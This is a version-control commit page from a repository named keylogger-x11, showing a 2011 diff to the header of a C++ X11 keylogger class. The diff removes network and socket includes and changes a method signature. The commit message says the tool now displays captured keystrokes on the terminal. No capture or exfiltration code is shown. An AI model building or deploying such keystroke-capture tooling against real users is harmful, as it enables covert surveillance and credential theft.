summaryrefslogtreecommitdiffstats
path: root/includes
diff options
context:
space:
mode:
authorVianney Bouchaud <vianney@bouchaud.org>2011-10-26 15:05:27 +0200
committerVianney Bouchaud <vianney@bouchaud.org>2011-10-26 15:05:27 +0200
commit3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3 (patch)
tree8b685b768b29b393626d542fff9a8d5b24e38b20 /includes
parent4e9e3f077123726d19b11784721790704f01c45d (diff)
downloadkeylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.gz
keylogger-x11-3fd99fe07f663d4b3c7aff72a81b9c7bce32e1b3.tar.xz
Editing class Keylogger to provide a display on terminal, adding a main for test and a Makefile. Keylogger now works.
new file: Makefile modified: includes/Keylogger.hpp modified: srcs/Keylogger.cpp new file: srcs/main.cpp
Diffstat (limited to 'includes')
-rw-r--r--includes/Keylogger.hpp9
1 files changed, 2 insertions, 7 deletions
diff --git a/includes/Keylogger.hpp b/includes/Keylogger.hpp
index cfdc88e..a1644c5 100644
--- a/includes/Keylogger.hpp
+++ b/includes/Keylogger.hpp
@@ -5,7 +5,7 @@
// Login <vianney@bouchaud.org>
//
// Started on Wed Oct 5 13:59:20 2011 Vianney Bouchaud
-// Last update Thu Oct 6 19:04:04 2011 Vianney Bouchaud
+// Last update Wed Oct 26 15:01:44 2011 Vianney Bouchaud
//
#ifndef __KEYLOGGER_HH__
@@ -24,11 +24,6 @@
#include <unistd.h>
#include <exception>
#include <string>
-#include <iostream>
-#include <stdio.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netdb.h>
struct CallbackClosure {
Display *ctrlDisplay;
@@ -54,7 +49,7 @@ public:
void start();
void stop();
void processData();
- bool xConnect(std::string displayName);
+ bool xConnect(const std::string &displayName);
private:
std::string m_displayName;